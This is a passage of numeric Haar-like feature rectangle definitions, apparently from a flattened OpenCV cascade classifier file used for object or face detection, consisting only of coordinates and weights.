21 3 -1. + <_> + 0 14 21 1 3. + <_> + + <_> + 8 1 8 12 -1. + <_> + 12 1 4 6 2. + <_> + 8 7 4 6 2. + <_> + + <_> + 1 0 6 12 -1. + <_> + 1 0 3 6 2. + <_> + 4 6 3 6 2. + <_> + + <_> + 2 2 21 2 -1. + <_> + 2 3 21 1 2. + <_> + + <_> + 2 2 19 3 -1. + <_> + 2 3 19 1 3. + <_> + + <_> + 17 10 6 14 -1. + <_> + 20 10 3 7 2. + <_> + 17 17 3 7 2. + <_> + + <_> + 1 10 6 14 -1. + <_> + 1 10 3 7 2. + <_> + 4 17 3 7 2. + <_> + + <_> + 7 6 14 14 -1. + <_> + 14 6 7 7 2. + <_> + 7 13 7 7 2. + <_> + + <_> + 0 12 9 6 -1. + <_> + 0 14 9 2 3. + <_> + + <_> + 15 14 8 9 -1. + <_> + 15 17 8 3 3. + <_> + + <_> + 1 1 22 4 -1. + <_> + 1 1 11 2 2. + <_> + 12 3 11 2 2. + <_> + + <_> + 9 11 9 6 -1. + <_> + 9 13 9 2 3. + <_> + + <_> + 0 15 18 3 -1. + <_> + 0 16 18 1 3. + <_> + + <_> + 16 14 7 9 -1. + <_> + 16 17 7 3 3. + <_> + + <_> + 4 3 16 4 -1. + <_> + 12 3 8 4 2. + <_> + + <_> + 7 6 12 5 -1. + <_> + 7 6 6 5 2. + <_> + + <_> + 9 6 4 9 -1. + <_> + 11 6 2 9 2. + <_> + + <_> + 12 1 4 10 -1. + <_> + 12 1 2 10 2. + <_> + + <_> + 8 1 4 10 -1. + <_> + 10 1 2 10 2. + <_> + + <_> + 15 15 6 9 -1. + <_> + 15 18 6 3 3. + <_> + + <_> + 3 15 6 9 -1. + <_> + 3 18 6 3 3. + <_> + + <_> + 15 1 3 19 -1. + <_> + 16 1 1 19 3. + <_> + + <_> + 1 3 6 9 -1. + <_> + 3 3 2 9 3. + <_> + + <_> + 15 0 3 19 -1. + <_> + 16 0 1 19 3. + <_> + + <_> + 6 3 12 4 -1. + <_> + 12 3 6 4 2. + <_> + + <_> + 10 5 4 9 -1. + <_> + 10 5 2 9 2. + <_> + + <_> + 6 0 3 19 -1. + <_> + 7 0 1 19 3. + <_> + + <_> + 11 1 3 12 -1. + <_> + 11 7 3 6 2. + <_> + + <_> + 6 7 10 5 -1. + <_> + 11 7 5 5 2. + <_> + + <_> + 11 3 3 18 -1. + <_> + 12 3 1 18 3. + <_> + + <_> + 9 3 6 12 -1. + <_> + 11 3 2 12 3. + <_> + + <_> + 3 7 19 3 -1. + <_> + 3 8 19 1 3. + <_> + + <_> + 2 7 18 3 -1. + <_> + 2 8 18 1 3. + <_> + + <_> + 3 13 18 4 -1. + <_> + 12 13 9 2 2. + <_> + 3 15 9 2 2. + <_> + + <_> + 3 5 6 9 -1. + <_> + 5 5 2 9 3. + <_> + + <_> + 4 1 20 4 -1. + <_> + 14 1 10 2 2. + <_> + 4 3 10 2 2. + <_> + + <_> + 0 1 20 4 -1. + <_> + 0 1 10 2 2. + <_> + 10 3 10 2 2. + <_> + + <_> + 10 15 6 6 -1. + <_> + 10 15 3 6 2. + <_> + + <_> + 0 2 24 8 -1. + <_> + 8 2 8 8 3. + <_> + + <_> + 5 5 18 3 -1. + <_> + 5 6 18 1 3. + <_> + + <_> + 8 15 6 6 -1. + <_> + 11 15 3 6 2. + <_> + + <_> + 11 12 8 5 -1. + <_> + 11 12 4 5 2. + <_> + + <_> + 5 12 8 5 -1. + <_> + 9 12 4 5 2. + <_> + + <_> + 5 0 14 6 -1. + <_> + 5 2 14 2 3. + <_> + + <_> + 10 2 4 15 -1. + <_> + 10 7 4 5 3. + <_> + + <_> + 10 7 5 12 -1. + <_> + 10 11 5 4 3. + <_> + + <_> + 7 9 8 14 -1. + <_> + 7 9 4 7 2. + <_> + 11 16 4 7 2. + <_> + + <_> + 1 5 22 6 -1. + <_> + 12 5 11 3 2. + <_> + 1 8 11 3 2. + <_> + + <_> + 0 5 6 6 -1. + <_> + 0 8 6 3 2. + <_> + + <_> + 12 17 9 4 -1. + <_> + 12 19 9 2 2. + <_> + + <_> + 2 18 19 3 -1. + <_> + 2 19 19 1 3. + <_> + + <_> + 12 17 9 4 -1. + <_> + 12 19 9 2 2. + <_> + + <_> + 1 17 18 3 -1. + <_> + 1 18 18 1 3. + <_> + + <_> + 12 17 9 4 -1. + <_> + 12 19 9 2 2. + <_> + + <_> + 0 0 24 3 -1. + <_> + 0 1 24 1 3. + <_> + + <_> + 5 0 14 4 -1. + <_> + 5 2 14 2 2. + <_> + + <_> + 6 14 9 6 -1. + <_> + 6 16 9 2 3. + <_> + + <_> + 14 13 6 9 -1. + <_> + 14 16 6 3 3. + <_> + + <_> + 5 20 13 4 -1. + <_> + 5 22 13 2 2. + <_> + + <_> + 9 9 6 12 -1. + <_> + 9 13 6 4 3. + <_> + + <_> + 1 10 21 3 -1. + <_> + 8 10 7 3 3. + <_> + + <_> + 8 8 9 6 -1. + <_> + 11 8 3 6 3. + <_> + + <_> + 3 10 9 7 -1. + <_> + 6 10 3 7 3. + <_> + + <_> + 12 10 10 8 -1. + <_> + 17 10 5 4 2. + <_> + 12 14 5 4 2. + <_> + + <_> + 0 15 24 3 -1. + <_> + 8 15 8 3 3. + <_> + + <_> + 8 5 9 6 -1. + <_> + 8 7 9 2 3. + <_> + + <_> + 4 13 6 9 -1. + <_> + 4 16 6 3 3. + <_> + + <_> + 12 17 9 4 -1. + <_> + 12 19 9 2 2. + <_> + + <_> + 9 12 6 6 -1. + <_> + 9 15 6 3 2. + <_> + + <_> + 9 9 14 10 -1. + <_> + 16 9 7 5 2. + <_> + 9 14 7 5 2. + <_> + + <_> + 1 9 14 10 -1. + <_> + 1 9 7 5 2. + <_> + 8 14 7 5 2. + <_> + + <_> + 8 7 9 17 -1. + <_> + 11 7 3 17 3. + <_> + + <_> + 3 4 6 20 -1. + <_> + 3 4 3 10 2. + <_> + 6 14 3 10 2. + <_> + + <_> + 7 8 10 4 -1. + <_> + 7 8 5 4 2. + <_> + + <_> + 10 7 4 9 -1. + <_> + 12 7 2 9 2. + <_> + + <_> + 10 15 6 9 -1. + <_> + 12 15 2 9 3. + <_> + + <_> + 3 8 6 16 -1. + <_> + 3 8 3 8 2. + <_> + 6 16 3 8 2. + <_> + + <_> + 12 17 9 4 -1. + <_> + 12 19 9 2 2. + <_> + + <_> + 3 17 9 4 -1. + <_> + 3 19 9 2 2. + <_> + + <_> + 10 1 9 6 -1. + <_> + 13 1 3 6 3. + <_> + + <_> + 5 7 4 10 -1. + <_> + 5 12 4 5 2. + <_> + + <_> + 7 5 12 6 -1. + <_> + 11 5 4 6 3. + <_> + + <_> + 6 4 9 8 -1. + <_> + 9 4 3 8 3. + <_> + + <_> + 12 16 10 8 -1. + <_> + 17 16 5 4 2. + <_> + 12 20 5 4 2. + <_> + + <_> + 2 16 10 8 -1. + <_> + 2 16 5 4 2. + <_> + 7 20 5 4 2. + <_> + + <_> + 0 0 24 4 -1. + <_> + 12 0 12 2 2. + <_> + 0 2 12 2 2. + <_> + + <_> + 0 6 9 6 -1. + <_> + 0 8 9 2 3. + <_> + + <_> + 0 4 24 6 -1. + <_> + 12 4 12 3 2. + <_> + 0 7 12 3 2. + <_> + + <_> + 5 0 11 4 -1. + <_> + 5 2 11 2 2. + <_> + + <_> + 1 1 22 4 -1. + <_> + 12 1 11 2 2. + <_> + 1 3 11 2 2. + <_> + + <_> + 9 6 6 18 -1. + <_> + 9 15 6 9 2. + <_> + + <_> + 2 9 20 4 -1. + <_> + 2 11 20 2 2. + <_> + + <_> + 5 2 14 14 -1. + <_> + 5 9 14 7 2. + <_> + + <_> + 4 2 16 6 -1. + <_> + 4 5 16 3 2. + <_> + + <_> + 2 3 19 3 -1. + <_> + 2 4 19 1 3. + <_> + + <_> + 7 1 10 4 -1. + <_> + 7 3 10 2 2. + <_> + + <_> + 0 9 4 15 -1. + <_> + 0 14 4 5 3. + <_> + + <_> + 2 10 21 3 -1. + <_> + 2 11 21 1 3. + <_> + + <_> + 3 0 6 6 -1. + <_> + 6 0 3 6 2. + <_> + + <_> + 6 4 14 9 -1. + <_> + 6 7 14 3 3. + <_> + + <_> + 9 1 6 9 -1. + <_> + 11 1 2 9 3. + <_> + + <_> + 15 8 9 9 -1. + <_> + 15 11 9 3 3. + <_> + + <_> + 8 0 4 21 -1. + <_> + 8 7 4 7 3. + <_> + + <_> + 3 22 19 2 -1. + <_> + 3 23 19 1 2. + <_> + + <_> + 2 15 20 3 -1. + <_> + 2 16 20 1 3. + <_> + + <_> + 19 0 4 13 -1. + <_> + 19 0 2 13 2. + <_> + + <_> + 1 7 8 8 -1. + <_> + 1 11 8 4 2. + <_> + + <_> + 14 14 6 9 -1. + <_> + 14 17 6 3 3. + <_> + + <_> + 4 14 6 9 -1. + <_> + 4 17 6 3 3. + <_> + + <_> + 14 5 4 10 -1. + <_> + 14 5 2 10 2. + <_> + + <_> + 6 5 4 10 -1. + <_> + 8 5 2 10 2. + <_> + + <_> + 14 5 6 6 -1. + <_> + 14 8 6 3 2. + <_> + + <_> + 4 5 6 6 -1. + <_> + 4 8 6 3 2. + <_> + + <_> + 0 2 24 21 -1. + <_> + 8 2 8 21 3. + <_> + + <_> + 1 2 6 13 -1. + <_> + 3 2 2 13 3. + <_> + + <_> + 20 0 4 21 -1. + <_> + 20 0 2 21 2. + <_> + + <_> + 0 4 4 20 -1. + <_> + 2 4 2 20 2. + <_> + + <_> + 8 16 9 6 -1. + <_> + 8 18 9 2 3. + <_> + + <_> + 7 0 6 9 -1. + <_> + 9 0 2 9 3. + <_> + + <_> + 16 12 7 9 -1. + <_> + 16 15 7 3 3. + <_> + + <_> + 5 21 14 3 -1. + <_> + 12 21 7 3 2. + <_> + + <_> + 11 5 6 9 -1. + <_> + 11 5 3 9 2. + <_> + + <_> + 10 5 4 10 -1. + <_> + 12 5 2 10 2. + <_> + + <_> + 10 6 6 9 -1. + <_> + 12 6 2 9 3. + <_> + + <_> + 7 5 6 9 -1. + <_> + 10 5 3 9 2. + <_> + + <_> + 14 14 10 4 -1. + <_> + 14 16 10 2 2. + <_> + + <_> + 5 5 14 14 -1. + <_> + 5 5 7 7 2. + <_> + 12 12 7 7 2. + <_> + + <_> + 12 8 12 6 -1. + <_> + 18 8 6 3 2. + <_> + 12 11 6 3 2. + <_> + + <_> + 6 6 12 12 -1. + <_> + 6 6 6 6 2. + <_> + 12 12 6 6 2. + <_> + + <_> + 11 13 6 10 -1. + <_> + 13 13 2 10 3. + <_> + + <_> + 1 10 20 8 -1. + <_> + 1 10 10 4 2. + <_> + 11 14 10 4 2. + <_> + + <_> + 15 13 9 6 -1. + <_> + 15 15 9 2 3. + <_> + + <_> + 9 0 6 9 -1. + <_> + 9 3 6 3 3. + <_> + + <_> + 10 1 5 14 -1. + <_> + 10 8 5 7 2. + <_> + + <_> + 3 4 16 6 -1. + <_> + 3 6 16 2 3. + <_> + + <_> + 16 3 8 9 -1. + <_> + 16 6 8 3 3. + <_> + + <_> + 7 13 6 10 -1. + <_> + 9 13 2 10 3. + <_> + + <_> + 15 13 9 6 -1. + <_> + 15 15 9 2 3. + <_> + + <_> + 0 13 9 6 -1. + <_> + 0 15 9 2 3. + <_> + + <_> + 13 16 9 6 -1. + <_> + 13 18 9 2 3. + <_> + + <_> + 2 16 9 6 -1. + <_> + 2 18 9 2 3. + <_> + + <_> + 5 16 18 3 -1. + <_> + 5 17 18 1 3. + <_> + + <_> + 1 16 18 3 -1. + <_> + 1 17 18 1 3. + <_> + + <_> + 5 0 18 3 -1. + <_> + 5 1 18 1 3. + <_> + + <_> + 1 1 19 2 -1. + <_> + 1 2 19 1 2. + <_> + + <_> + 14 2 6 11 -1. + <_> + 16 2 2 11 3. + <_> + + <_> + 4 15 15 6 -1. + <_> + 9 15 5 6 3. + <_> + + <_> + 14 2 6 11 -1. + <_> + 16 2 2 11 3. + <_> + + <_> + 4 2 6 11 -1. + <_> + 6 2 2 11 3. + <_> + + <_> + 18 2 6 9 -1. + <_> + 18 5 6 3 3. + <_> + + <_> + 1 2 22 4 -1. + <_> + 1 2 11 2 2. + <_> + 12 4 11 2 2. + <_> + + <_> + 2 0 21 12 -1. + <_> + 9 0 7 12 3. + <_> + + <_> + 0 12 18 3 -1. + <_> + 0 13 18 1 3. + <_> + + <_> + 12 2 6 9 -1. + <_> + 14 2 2 9 3. + <_> + + <_> + 3 10 18 3 -1. + <_> + 3 11 18 1 3. + <_> + + <_> + 16 3 8 9 -1. + <_> + 16 6 8 3 3. + <_> + + <_> + 3 7 18 3 -1. + <_> + 3 8 18 1 3. + <_> + + <_> + 9 11 6 9 -1. + <_> + 11 11 2 9 3. + <_> + + <_> + 9 8 6 9 -1. + <_> + 11 8 2 9 3. + <_> + + <_> + 15 0 2 18 -1. + <_> + 15 0 1 18 2. + <_> + + <_> + 7 0 2 18 -1. + <_> + 8 0 1 18 2. + <_> + + <_> + 17 3 7 9 -1. + <_> + 17 6 7 3 3. + <_> + + <_> + 3 18 9 6 -1. + <_> + 3 20 9 2 3. + <_> + + <_> + 3 18 21 3 -1. + <_> + 3 19 21 1 3. + <_> + + <_> + 0 3 7 9 -1. + <_> + 0 6 7 3 3. + <_> + + <_> + 2 7 22 3 -1. + <_> + 2 8 22 1 3. + <_> + + <_> + 0 3 24 16 -1. + <_> + 0 3 12 8 2. + <_> + 12 11 12 8 2. + <_> + + <_> + 13 17 9 4 -1. + <_> + 13 19 9 2 2. + <_> + + <_> + 5 5 12 8 -1. + <_> + 5 5 6 4 2. + <_> + 11 9 6 4 2. + <_> + + <_> + 5 6 14 6 -1. + <_> + 12 6 7 3 2. + <_> + 5 9 7 3 2. + <_> + + <_> + 5 16 14 6 -1. + <_> + 5 16 7 3 2. + <_> + 12 19 7 3 2. + <_> + + <_> + 18 2 6 9 -1. + <_> + 18 5 6 3 3. + <_> + + <_> + 0 2 6 9 -1. + <_> + 0 5 6 3 3. + <_> + + <_> + 3 4 20 10 -1. + <_> + 13 4 10 5 2. + <_> + 3 9 10 5 2. + <_> + + <_> + 2 13 9 8 -1. + <_> + 5 13 3 8 3. + <_> + + <_> + 2 1 21 15 -1. + <_> + 9 1 7 15 3. + <_> + + <_> + 5 12 14 8 -1. + <_> + 12 12 7 8 2. + <_> + + <_> + 6 7 12 4 -1. + <_> + 6 7 6 4 2. + <_> + + <_> + 6 5 9 6 -1. + <_> + 9 5 3 6 3. + <_> + + <_> + 13 11 6 6 -1. + <_> + 13 11 3 6 2. + <_> + + <_> + 5 11 6 6 -1. + <_> + 8 11 3 6 2. + <_> + + <_> + 6 4 18 2 -1. + <_> + 6 5 18 1 2. + <_> + + <_> + 0 2 6 11 -1. + <_> + 2 2 2 11 3. + <_> + + <_> + 18 0 6 15 -1. + <_> + 20 0 2 15 3. + <_> + + <_> + 0 0 6 13 -1. + <_> + 2 0 2 13 3. + <_> + + <_> + 12 0 6 9 -1. + <_> + 14 0 2 9 3. + <_> + + <_> + 6 0 6 9 -1. + <_> + 8 0 2 9 3. + <_> + + <_> + 0 2 24 4 -1. + <_> + 8 2 8 4 3. + <_> + + <_> + 3 13 18 4 -1. + <_> + 12 13 9 4 2. + <_> + + <_> + 9 7 10 4 -1. + <_> + 9 7 5 4 2. + <_> + + <_> + 5 8 12 3 -1. + <_> + 11 8 6 3 2. + <_> + + <_> + 4 14 19 3 -1. + <_> + 4 15 19 1 3. + <_> + + <_> + 10 0 4 20 -1. + <_> + 10 10 4 10 2. + <_> + + <_> + 8 15 9 6 -1. + <_> + 8 17 9 2 3. + <_> + + <_> + 2 9 15 4 -1. + <_> + 7 9 5 4 3. + <_> + + <_> + 8 4 12 7 -1. + <_> + 12 4 4 7 3. + <_> + + <_> + 0 10 6 9 -1. + <_> + 0 13 6 3 3. + <_> + + <_> + 18 5 6 9 -1. + <_> + 18 8 6 3 3. + <_> + + <_> + 0 18 16 6 -1. + <_> + 0 18 8 3 2. + <_> + 8 21 8 3 2. + <_> + + <_> + 9 18 14 6 -1. + <_> + 16 18 7 3 2. + <_> + 9 21 7 3 2. + <_> + + <_> + 1 20 20 4 -1. + <_> + 1 20 10 2 2. + <_> + 11 22 10 2 2. + <_> + + <_> + 2 8 20 6 -1. + <_> + 12 8 10 3 2. + <_> + 2 11 10 3 2. + <_> + + <_> + 7 8 6 9 -1. + <_> + 9 8 2 9 3. + <_> + + <_> + 8 5 12 8 -1. + <_> + 12 5 4 8 3. + <_> + + <_> + 4 5 12 8 -1. + <_> + 8 5 4 8 3. + <_> + + <_> + 10 6 6 9 -1. + <_> + 12 6 2 9 3. + <_> + + <_> + 2 0 6 16 -1. + <_> + 4 0 2 16 3. + <_> + + <_> + 15 4 6 12 -1. + <_> + 15 8 6 4 3. + <_> + + <_> + 3 4 6 12 -1. + <_> + 3 8 6 4 3. + <_> + + <_> + 15 12 9 6 -1. + <_> + 15 14 9 2 3. + <_> + + <_> + 4 0 15 22 -1. + <_> + 4 11 15 11 2. + <_> + + <_> + 15 12 9 6 -1. + <_> + 15 14 9 2 3. + <_> + + <_> + 0 12 9 6 -1. + <_> + 0 14 9 2 3. + <_> + + <_> + 15 15 9 6 -1. + <_> + 15 17 9 2 3. + <_> + + <_> + 0 15 9 6 -1. + <_> + 0 17 9 2 3. + <_> + + <_> + 10 0 8 10 -1. + <_> + 14 0 4 5 2. + <_> + 10 5 4 5 2. + <_> + + <_> + 1 0 4 16 -1. + <_> + 3 0 2 16 2. + <_> + + <_> + 7 6 10 6 -1. + <_> + 7 8 10 2 3. + <_> + + <_> + 10 12 4 10 -1. + <_> + 10 17 4 5 2. + <_> + + <_> + 8 4 10 6 -1. + <_> + 8 6 10 2 3. + <_> + + <_> + 3 22 18 2 -1. + <_> + 12 22 9 2 2. + <_> + + <_> + 7 7 11 6 -1. + <_> + 7 9 11 2 3. + <_> + + <_> + 0 0 12 10 -1. + <_> + 0 0 6 5 2. + <_> + 6 5 6 5 2. + <_> + + <_> + 10 1 12 6 -1. + <_> + 16 1 6 3 2. + <_> + 10 4 6 3 2. + <_> + + <_> + 7 16 9 4 -1. + <_> + 7 18 9 2 2. + <_> + + <_> + 5 7 15 16 -1. + <_> + 10 7 5 16 3. + <_> + + <_> + 5 10 12 13 -1. + <_> + 11 10 6 13 2. + <_> + + <_> + 6 2 12 6 -1. + <_> + 12 2 6 3 2. + <_> + 6 5 6 3 2. + <_> + + <_> + 3 9 12 9 -1. + <_> + 3 12 12 3 3. + <_> + + <_> + 16 2 8 6 -1. + <_> + 16 5 8 3 2. + <_> + + <_> + 0 2 8 6 -1. + <_> + 0 5 8 3 2. + <_> + + <_> + 0 3 24 11 -1. + <_> + 0 3 12 11 2. + <_> + + <_> + 0 13 8 10 -1. + <_> + 0 13 4 5 2. + <_> + 4 18 4 5 2. + <_> + + <_> + 10 14 4 10 -1. + <_> + 10 19 4 5 2. + <_> + + <_> + 10 2 4 21 -1. + <_> + 10 9 4 7 3. + <_> + + <_> + 4 4 15 9 -1. + <_> + 4 7 15 3 3. + <_> + + <_> + 0 1 24 6 -1. + <_> + 8 1 8 6 3. + <_> + + <_> + 9 6 5 16 -1. + <_> + 9 14 5 8 2. + <_> + + <_> + 3 21 18 3 -1. + <_> + 9 21 6 3 3. + <_> + + <_> + 6 5 3 12 -1. + <_> + 6 11 3 6 2. + <_> + + <_> + 11 6 4 9 -1. + <_> + 11 6 2 9 2. + <_> + + <_> + 5 6 9 8 -1. + <_> + 8 6 3 8 3. + <_> + + <_> + 4 3 20 2 -1. + <_> + 4 4 20 1 2. + <_> + + <_> + 2 10 18 3 -1. + <_> + 8 10 6 3 3. + <_> + + <_> + 7 15 10 6 -1. + <_> + 7 17 10 2 3. + <_> + + <_> + 1 4 4 18 -1. + <_> + 1 4 2 9 2. + <_> + 3 13 2 9 2. + <_> + + <_> + 13 0 6 9 -1. + <_> + 15 0 2 9 3. + <_> + + <_> + 5 0 6 9 -1. + <_> + 7 0 2 9 3. + <_> + + <_> + 11 0 6 9 -1. + <_> + 13 0 2 9 3. + <_> + + <_> + 6 7 9 6 -1. + <_> + 9 7 3 6 3. + <_> + + <_> + 3 0 18 2 -1. + <_> + 3 1 18 1 2. + <_> + + <_> + 0 10 20 4 -1. + <_> + 0 10 10 2 2. + <_> + 10 12 10 2 2. + <_> + + <_> + 10 2 4 12 -1. + <_> + 10 8 4 6 2. + <_> + + <_> + 6 5 6 12 -1. + <_> + 6 5 3 6 2. + <_> + 9 11 3 6 2. + <_> + + <_> + 6 0 18 22 -1. + <_> + 15 0 9 11 2. + <_> + 6 11 9 11 2. + <_> + + <_> + 0 0 18 22 -1. + <_> + 0 0 9 11 2. + <_> + 9 11 9 11 2. + <_> + + <_> + 18 2 6 11 -1. + <_> + 20 2 2 11 3. + <_> + + <_> + 0 2 6 11 -1. + <_> + 2 2 2 11 3. + <_> + + <_> + 11 0 6 9 -1. + <_> + 13 0 2 9 3. + <_> + + <_> + 0 0 20 3 -1. + <_> + 0 1 20 1 3. + <_> + + <_> + 2 2 20 2 -1. + <_> + 2 3 20 1 2. + <_> + + <_> + 1 10 18 2 -1. + <_> + 1 11 18 1 2. + <_> + + <_> + 18 7 6 9 -1. + <_> + 18 10 6 3 3. + <_> + + <_> + 0 0 22 9 -1. + <_> + 0 3 22 3 3. + <_> + + <_> + 17 3 6 9 -1. + <_> + 17 6 6 3 3. + <_> + + <_> + 0 7 6 9 -1. + <_> + 0 10 6 3 3. + <_> + + <_> + 0 6 24 6 -1. + <_> + 0 8 24 2 3. + <_> + + <_> + 0 2 6 10 -1. + <_> + 2 2 2 10 3. + <_> + + <_> + 10 6 6 9 -1. + <_> + 12 6 2 9 3. + <_> + + <_> + 7 0 6 9 -1. + <_> + 9 0 2 9 3. + <_> + + <_> + 15 0 6 9 -1. + <_> + 17 0 2 9 3. + <_> + + <_> + 3 0 6 9 -1. + <_> + 5 0 2 9 3. + <_> + + <_> + 15 17 9 6 -1. + <_> + 15 19 9 2 3. + <_> + + <_> + 0 17 18 3 -1. + <_> + 0 18 18 1 3. + <_> + + <_> + 15 14 9 6 -1. + <_> + 15 16 9 2 3. + <_> + + <_> + 0 15 23 6 -1. + <_> + 0 17 23 2 3. + <_> + + <_> + 5 15 18 3 -1. + <_> + 5 16 18 1 3. + <_> + + <_> + 0 14 9 6 -1. + <_> + 0 16 9 2 3. + <_> + + <_> + 9 8 8 10 -1. + <_> + 13 8 4 5 2. + <_> + 9 13 4 5 2. + <_> + + <_> + 3 7 15 6 -1. + <_> + 8 7 5 6 3. + <_> + + <_> + 9 8 8 10 -1. + <_> + 13 8 4 5 2. + <_> + 9 13 4 5 2. + <_> + + <_> + 5 0 6 12 -1. + <_> + 8 0 3 12 2. + <_> + + <_> + 9 8 8 10 -1. + <_> + 13 8 4 5 2. + <_> + 9 13 4 5 2. + <_> + + <_> + 8 5 6 9 -1. + <_> + 10 5 2 9 3. + <_> + + <_> + 10 6 4 18 -1. + <_> + 12 6 2 9 2. + <_> + 10 15 2 9 2. + <_> + + <_> + 5 7 12 4 -1. + <_> + 11 7 6 4 2. + <_> + + <_> + 9 8 8 10 -1. + <_> + 13 8 4 5 2. + <_> + 9 13 4 5 2. + <_> + + <_> + 7 8 8 10 -1. + <_> + 7 8 4 5 2. + <_> + 11 13 4 5 2. + <_> + + <_> + 11 10 6 14 -1. + <_> + 14 10 3 7 2. + <_> + 11 17 3 7 2. + <_> + + <_> + 9 5 6 19 -1. + <_> + 12 5 3 19 2. + <_> + + <_> + 6 12 12 6 -1. + <_> + 12 12 6 3 2. + <_> + 6 15 6 3 2. + <_> + + <_> + 1 9 18 6 -1. + <_> + 1 9 9 3 2. + <_> + 10 12 9 3 2. + <_> + + <_> + 16 14 8 10 -1. + <_> + 20 14 4 5 2. + <_> + 16 19 4 5 2. + <_> + + <_> + 0 9 22 8 -1. + <_> + 0 9 11 4 2. + <_> + 11 13 11 4 2. + <_> + + <_> + 8 18 12 6 -1. + <_> + 14 18 6 3 2. + <_> + 8 21 6 3 2. + <_> + + <_> + 0 6 20 18 -1. + <_> + 0 6 10 9 2. + <_> + 10 15 10 9 2. + <_> + + <_> + 3 6 20 12 -1. + <_> + 13 6 10 6 2. + <_> + 3 12 10 6 2. + <_> + + <_> + 0 16 10 8 -1. + <_> + 0 16 5 4 2. + <_> + 5 20 5 4 2. + <_> + + <_> + 6 16 18 3 -1. + <_> + 6 17 18 1 3. + <_> + + <_> + 0 11 19 3 -1. + <_> + 0 12 19 1 3. + <_> + + <_> + 14 6 6 9 -1. + <_> + 14 9 6 3 3. + <_> + + <_> + 1 7 22 4 -1. + <_> + 1 7 11 2 2. + <_> + 12 9 11 2 2. + <_> + + <_> + 13 6 7 12 -1. + <_> + 13 10 7 4 3. + <_> + + <_> + 4 7 11 9 -1. + <_> + 4 10 11 3 3. + <_> + + <_> + 12 10 10 8 -1. + <_> + 17 10 5 4 2. + <_> + 12 14 5 4 2. + <_> + + <_> + 2 12 9 7 -1. + <_> + 5 12 3 7 3. + <_> + + <_> + 16 14 6 9 -1. + <_> + 16 17 6 3 3. + <_> + + <_> + 3 12 6 12 -1. + <_> + 3 16 6 4 3. + <_> + + <_> + 14 13 6 6 -1. + <_> + 14 16 6 3 2. + <_> + + <_> + 8 0 6 9 -1. + <_> + 10 0 2 9 3. + <_> + + <_> + 9 1 6 23 -1. + <_> + 11 1 2 23 3. + <_> + + <_> + 0 16 9 6 -1. + <_> + 0 18 9 2 3. + <_> + + <_> + 4 17 18 3 -1. + <_> + 4 18 18 1 3. + <_> + + <_> + 5 2 13 14 -1. + <_> + 5 9 13 7 2. + <_> + + <_> + 15 0 8 12 -1. + <_> + 19 0 4 6 2. + <_> + 15 6 4 6 2. + <_> + + <_> + 0 0 8 12 -1. + <_> + 0 0 4 6 2. + <_> + 4 6 4 6 2. + <_> + + <_> + 8 2 8 7 -1. + <_> + 8 2 4 7 2. + <_> + + <_> + 1 1 6 9 -1. + <_> + 3 1 2 9 3. + <_> + + <_> + 14 8 6 12 -1. + <_> + 17 8 3 6 2. + <_> + 14 14 3 6 2. + <_> + + <_> + 4 8 6 12 -1. + <_> + 4 8 3 6 2. + <_> + 7 14 3 6 2. + <_> + + <_> + 16 5 5 15 -1. + <_> + 16 10 5 5 3. + <_> + + <_> + 3 5 5 15 -1. + <_> + 3 10 5 5 3. + <_> + + <_> + 18 4 6 9 -1. + <_> + 18 7 6 3 3. + <_> + + <_> + 1 7 6 15 -1. + <_> + 1 12 6 5 3. + <_> + + <_> + 11 15 12 8 -1. + <_> + 17 15 6 4 2. + <_> + 11 19 6 4 2. + <_> + + <_> + 0 2 24 4 -1. + <_> + 0 2 12 2 2. + <_> + 12 4 12 2 2. + <_> + + <_> + 15 1 2 19 -1. + <_> + 15 1 1 19 2. + <_> + + <_> + 7 1 2 19 -1. + <_> + 8 1 1 19 2. + <_> + + <_> + 22 1 2 20 -1. + <_> + 22 1 1 20 2. + <_> + + <_> + 0 1 2 20 -1. + <_> + 1 1 1 20 2. + <_> + + <_> + 18 11 6 12 -1. + <_> + 20 11 2 12 3. + <_> + + <_> + 0 11 6 12 -1. + <_> + 2 11 2 12 3. + <_> + + <_> + 3 6 18 14 -1. + <_> + 3 13 18 7 2. + <_> + + <_> + 6 10 7 8 -1. + <_> + 6 14 7 4 2. + <_> + + <_> + 7 9 12 12 -1. + <_> + 7 13 12 4 3. + <_> + + <_> + 2 18 18 5 -1. + <_> + 11 18 9 5 2. + <_> + + <_> + 4 21 20 3 -1. + <_> + 4 22 20 1 3. + <_> + + <_> + 9 12 6 12 -1. + <_> + 9 12 3 6 2. + <_> + 12 18 3 6 2. + <_> + + <_> + 4 6 18 3 -1. + <_> + 4 7 18 1 3. + <_> + + <_> + 3 6 18 3 -1. + <_> + 3 7 18 1 3. + <_> + + <_> + 18 4 6 9 -1. + <_> + 18 7 6 3 3. + <_> + + <_> + 2 12 9 6 -1. + <_> + 2 14 9 2 3. + <_> + + <_> + 4 14 18 4 -1. + <_> + 13 14 9 2 2. + <_> + 4 16 9 2 2. + <_> + + <_> + 7 7 6 14 -1. + <_> + 7 7 3 7 2. + <_> + 10 14 3 7 2. + <_> + + <_> + 7 13 12 6 -1. + <_> + 13 13 6 3 2. + <_> + 7 16 6 3 2. + <_> + + <_> + 6 7 12 9 -1. + <_> + 10 7 4 9 3. + <_> + + <_> + 12 12 6 6 -1. + <_> + 12 12 3 6 2. + <_> + + <_> + 0 2 4 10 -1. + <_> + 0 7 4 5 2. + <_> + + <_> + 8 0 9 6 -1. + <_> + 11 0 3 6 3. + <_> + + <_> + 2 9 12 6 -1. + <_> + 2 12 12 3 2. + <_> + + <_> + 13 10 6 9 -1. + <_> + 13 13 6 3 3. + <_> + + <_> + 5 10 6 9 -1. + <_> + 5 13 6 3 3. + <_> + + <_> + 9 15 9 6 -1. + <_> + 9 17 9 2 3. + <_> + + <_> + 5 16 12 6 -1. + <_> + 5 19 12 3 2. + <_> + + <_> + 3 2 20 3 -1. + <_> + 3 3 20 1 3. + <_> + + <_> + 2 5 12 6 -1. + <_> + 6 5 4 6 3. + <_> + + <_> + 11 0 3 24 -1. + <_> + 12 0 1 24 3. + <_> + + <_> + 3 16 15 4 -1. + <_> + 8 16 5 4 3. + <_> + + <_> + 9 12 6 12 -1. + <_> + 9 18 6 6 2. + <_> + + <_> + 1 15 12 8 -1. + <_> + 1 15 6 4 2. + <_> + 7 19 6 4 2. + <_> + + <_> + 15 10 8 14 -1. + <_> + 19 10 4 7 2. + <_> + 15 17 4 7 2. + <_> + + <_> + 1 9 8 14 -1. + <_> + 1 9 4 7 2. + <_> + 5 16 4 7 2. + <_> + + <_> + 9 11 9 10 -1. + <_> + 9 16 9 5 2. + <_> + + <_> + 6 7 12 6 